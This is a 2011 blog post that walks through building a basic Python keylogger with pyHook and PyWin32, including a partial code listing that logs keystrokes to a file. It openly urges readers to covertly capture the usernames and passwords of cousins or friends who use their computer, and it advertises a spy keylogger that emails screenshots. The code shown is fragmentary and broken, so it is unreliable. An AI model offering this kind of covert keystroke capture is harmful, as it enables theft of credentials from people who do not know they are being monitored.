Thursday, September 1, 2011
Keylogger (often called Keystroke logging ) is the action of tracking the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. This can be used for later review.
There are basically two key logging methods ranging from hardware and software-based approaches.
1. Hardware key loggers are most reliable but not really most undetected. Unless you’re a type of person who never looks behind your PC.
2. Software key logger is a programmers script that runs in the background of the computer.
I will be showing you how to create a basic keylogger. All you need is programming knowledge.
Keylogger script can be created using C++, VBscript, Phython and many more programming languages.
I will be using Phython because it’s the most simplest programming language for keylogging.
1) Download Python from their download page and install.
2) Download Pyhook and install.
3) Download Python for Windows Extensions PyWin32 and install.
4) Once all of the above three are installed. Go to>All Programs>Phython2.7>IDLE(Phython GUI).
5) In the interface click File and click New Window.
6) Copy the below code and paste it.
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
if event.Ascii != 0 or 8:
buffer += keylogs
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
7) Save as logger.py in C drive. Then go to C drive and double click on logger.py
8) Then start typing anything. Once done, press Ctrl+E to stop the logger.
9) Then open output.txt. You will be able to see the things you typed.
So next time when your cousins or friends come to your place and they use your internet, you will get their lo-gin details(username and password). This is just a basic and how a keylogger works. Also check out keylogger in C++.
For more advanced keylogger software, which captures screenshots and sends a direct e-mail. Download All-Spy-Keylogger.